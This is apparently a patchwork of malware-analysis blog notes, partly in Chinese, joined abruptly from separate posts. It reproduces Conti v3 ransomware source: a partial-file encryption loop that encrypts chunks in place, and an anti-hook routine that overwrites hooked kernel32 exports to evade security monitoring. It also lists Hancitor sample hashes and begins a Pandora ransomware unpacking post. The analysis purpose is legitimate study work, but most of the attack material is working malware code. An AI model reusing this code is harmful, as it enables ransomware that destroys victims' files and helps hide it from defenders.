StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 35:
PartSize = (FileInfo->FileSize / 100) * 12;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 40:
PartSize = (FileInfo->FileSize / 100) * 14;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 50:
PartSize = (FileInfo->FileSize / 100) * 10;
morphcode(PartSize);
StepsCount = 5;
StepSize = PartSize;
morphcode(StepSize);
break;

case 60:
PartSize = (FileInfo->FileSize / 100) * 20;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 70:
PartSize = (FileInfo->FileSize / 100) * 23;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 80:
PartSize = (FileInfo->FileSize / 100) * 27;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

default:
return FALSE;
}

for (INT i = 0; i < StepsCount; i++) {

TotalRead = 0;
BytesToEncrypt = PartSize;
morphcode(BytesToEncrypt);

if (i != 0) {

Offset.QuadPart = StepSize;
if (!pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_CURRENT)) {
break;
}

morphcode(Offset.QuadPart);

}

while (TotalRead < BytesToEncrypt) {

morphcode(TotalRead);

LONGLONG BytesLeft = BytesToEncrypt - TotalRead;
morphcode(BytesLeft);
BytesToRead = BytesLeft > BufferSize ? BufferSize : (DWORD)BytesLeft;

morphcode(BytesToRead);

Success = (BOOL)pReadFile(FileInfo->FileHandle, Buffer, BytesToRead, &BytesRead, NULL);
if (!Success || !BytesRead) {
break;
}

morphcode(BytesRead);

TotalRead += BytesRead;
BytesToWrite = BytesRead;

morphcode(TotalRead);


ECRYPT_encrypt_bytes(&FileInfo->CryptCtx, Buffer, Buffer, BytesRead);

Offset.QuadPart = -((LONGLONG)BytesRead);
if (!pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_CURRENT)) {
break;
}

morphcode(Offset.QuadPart);

Success = WriteFullData(FileInfo->FileHandle, Buffer, BytesToWrite);
if (!Success) {
break;
}

morphcode(BytesToWrite);

}

}

return TRUE;
}

EncryptFull

It’s the same as EncryptPartly function,just remove the percent argument.

morphcode

2021-12-16-hancitor

intro

之前看过两个hancitor的样本,但是从现在看来做的都太简单了,而且当时的各方面知识也都不是很完善。于是找了2021.12.26日的样本重新做一次详尽的分析。

如果有错误可以联系我

qq:2466811523

mail: 2466811523@qq.com

静态分析

md5: 9f09b1dd6235c28b091a7dbc9bcd9482
sha1: b7ac19b82e2f946e7cc047421875bbade3e880fd
sha256: 571cba0431acea4739c5248de1b1d33e76e995b3c7454f4d88d2785ade6fdf74

vt: https://www.virustotal.com/gui/file/571cba0431acea4739c5248de1b1d33e76e995b3c7454f4d88d2785ade6fdf74/details

hybrid: https://hybrid-analysis.com/sample/571cba0431acea4739c5248de1b1d33e76e995b3c7454f4d88d2785ade6fdf74/61bb60be5679f80b2921e45a

Reference:

http://blog.nsfocus.net/beaconeye-cs/

https://www.malware-traffic-analysis.net/2021/12/16/index.html

anti-hook

intro

part of conti v3 Ransomeware, by the way, fucking the school’s midterm exam. I’m longing for the day becoming stronger in Virus Learning.

打开系统对应的文件

导入kernel32.dll并获取文件路径,打开文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
HMODULE hKernel32 = apLoadLibraryA(_STR("kernel32.dll"));

apGetModuleFileNameW(hmodule, moduleRealPath, MAX_PATH);

hFile = pCreateFileW(moduleRealPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (!hFile)
return;


DWORD Size = 0;
DWORD H;
LARGE_INTEGER LargeInt;
pGetFileSizeEx(hFile, &LargeInt);
Size = LargeInt.QuadPart;
if (!Size)
{
pCloseHandle(hFile);
return;
}

hFileMap = apCreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hFileMap)
{
pCloseHandle(hFile);
return;
}

originDll = (LPBYTE)apMapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, Size);
if (!originDll)
{
pCloseHandle(hFileMap);
pCloseHandle(hFile);
return;
}

获取modules NT Header

在 IMAGE_DOS_HEADER 结构体中的 e_lfanew 成员指定了 NT 头的偏移为 000000f0。这两个范围中间就是 DOS stub 的偏移区域。

计算NT头的指针

1
PNTHeader = ImageBase + dosHeader ->e_Ifanew

根据NT_headers 找到OptionalHeader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct _IMAGE_NT_HEADERS64 {

DWORD Signature;

IMAGE_FILE_HEADER FileHeader;

IMAGE_OPTIONAL_HEADER64 OptionalHeader;

} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;


typedef struct _IMAGE_NT_HEADERS {

DWORD Signature;

IMAGE_FILE_HEADER FileHeader;

IMAGE_OPTIONAL_HEADER32 OptionalHeader;

} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

Optional Headers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
typedef struct _IMAGE_OPTIONAL_HEADER64 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve;
ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve;
ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;

IMAGE_DATA_DIRECTORY结构如下

image-20220418213329225

检查文件位数,并获取IMAGE_DATA_DIRECTORY数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == pe32magic)
{
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS32)
uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == pe64magic)
{
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS64)
uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
pCloseHandle(hFileMap);
pCloseHandle(hFile);
return;
}
}

然后根据uiBaseAddressuiExportDir获取如下数据

  • export directory
  • name pointers
  • the array of addresses
  • the array of name ordinals
  • the number of exported functions

结构体_IMAGE_EXPORT_DIRECTORY

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// get the File Offset of the export directory
uiExportDir = uiBaseAddress
+ Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);

// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress
+ Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);

// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress
+ Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions,
uiBaseAddress);

// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress
+ Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals,
uiBaseAddress);

// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;

获取导出函数表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == pe32magic)
{
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS32)
uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == pe64magic)
{
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS64)
uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
pCloseHandle(hFileMap);
pCloseHandle(hFile);
return;
}
}
}

检查hook

  • 遍历函数
    • 检查是否有转发函数(这个概念还不是很清楚),若是则跳过
    • 比较当前函数和系统中函数是否相同
      • 若函数已经被hook,则利用函数的前5byte进行覆盖,即antihook
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
for (; dwCounter--; uiNameArray += sizeof(DWORD), uiNameOrdinals += sizeof(WORD))
{

char* cpExportedFunctionName = (char*)(uiBaseAddress
+ Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));


uiAddressArray = uiBaseAddress
+ Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions,
uiBaseAddress);

// use the functions name ordinal as an index into the array of name pointers
// loop the uiAddressArray with the uiNameOrdinals
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

// compute the File Offset to the function code
UINT_PTR funcAddr = uiBaseAddress + Rva2Offset(DEREF_32(uiAddressArray),
uiBaseAddress);

// pass the for
bool isForwarder = isForwardedFunc((const void*)funcAddr);

if (isForwarder) continue;

void* funcHooked = apGetProcAddress(hmodule, cpExportedFunctionName);

if (!funcHooked) continue;

BYTE* p = (BYTE*)funcHooked;

if (p[0] != 0xe9) {
if (p[0] != 0xff) continue;
if (p[1] != 0x25) continue;
}

#ifdef __MINGW32__
bool funcIsHooked = (memcmp((const void*)funcAddr, (const void*)funcHooked, 2) != 0);
#else
bool funcIsHooked = m_memcmp((const void*)funcAddr, (const void*)funcHooked, 2) != 0;
#endif // __MINGW32
if (!funcIsHooked) continue;

DWORD oldProtect = 0;
DWORD oldProtect1 = 0;

/*
typedef BOOL(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD);
VirtualProtectFunc pVirtualProtect = (VirtualProtectFunc)GetProcAddress(hKernel32,
_STR("VirtualProtect"));
*/

if (!apVirtualProtect(funcHooked, 64, PAGE_EXECUTE_READWRITE, &oldProtect))
break;

//memcpy((void*)funcHooked, (void*)funcAddr, 10);
CopyMemory((void*)funcHooked, (void*)funcAddr, 10);

if (!apVirtualProtect(funcHooked, 64, oldProtect, &oldProtect1))
break;

Pandora-Ransomeware-fla-unpack

Pandora Ransomware

[TOC]

overview

First of all, I love oalabs. Below of code is copied from his research, and I get a lot from just repeat it. And maybe there are also bogus-control-flow in this sample however.

Sample: 5b56c5d86347e164c6e571c86dbf5b1535eae6b979fede6ed66b01e79ea33b7b

Unpacked sample: 2619862c382d3e375f13f3859c6ab44db1a4bce905b4a617df2390fbf36902e7 on the malshare(by the oalabs)

References